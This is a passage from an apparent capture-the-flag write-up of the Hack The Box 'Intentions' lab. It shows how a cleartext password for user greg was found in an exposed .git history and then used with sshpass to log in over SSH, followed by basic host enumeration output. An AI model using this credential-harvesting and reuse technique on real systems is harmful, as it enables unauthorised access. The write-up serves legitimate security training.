greg
While enumerating the web directory, I found out that there are multiple versions of the target the web application under the .git directory
Due to the sheer size of it, I had to transfer the .git directory to Kali for further inspection.
Upon reviewing the commit history and changes, there was a CLEARTEXT credential for the greg user hard-coded into the source code of the 2nd commit of the web application.
Here, I will test and validate the credential for the greg user via SSH
┌──(kali㉿kali)-[~/archive/htb/labs/intentions]
└─$ sshpass -p 'Gr3g1sTh3B3stDev3l0per!1998!' ssh greg@$IP
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)
* documentation: https://help.ubuntu.com
* management: https://landscape.canonical.com
* support: https://ubuntu.com/advantage
system information as of wed jul 5 07:33:31 PM UTC 2023
system load: 0.0
usage of /: 59.2% of 6.30GB
memory usage: 9%
swap usage: 0%
processes: 238
users logged in: 0
ipv4 address for eth0: 10.10.11.220
ipv6 address for eth0: dead:beef::250:56ff:feb9:5f8c
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
12 additional security updates can be applied with ESM Apps.
learn more about enabling esm apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
to check for new updates run: sudo apt update
last login: Wed Jul 5 19:33:32 2023 from 10.10.14.5
$ whoami
greg
$ hostname
intentions
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.220 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb9:5f8c prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb9:5f8c prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b9:5f:8c txqueuelen 1000 (Ethernet)
RX packets 22720 bytes 4678310 (4.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20836 bytes 56141560 (56.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2864 bytes 203400 (203.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2864 bytes 203400 (203.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Lateral Movement made to the greg user via SSH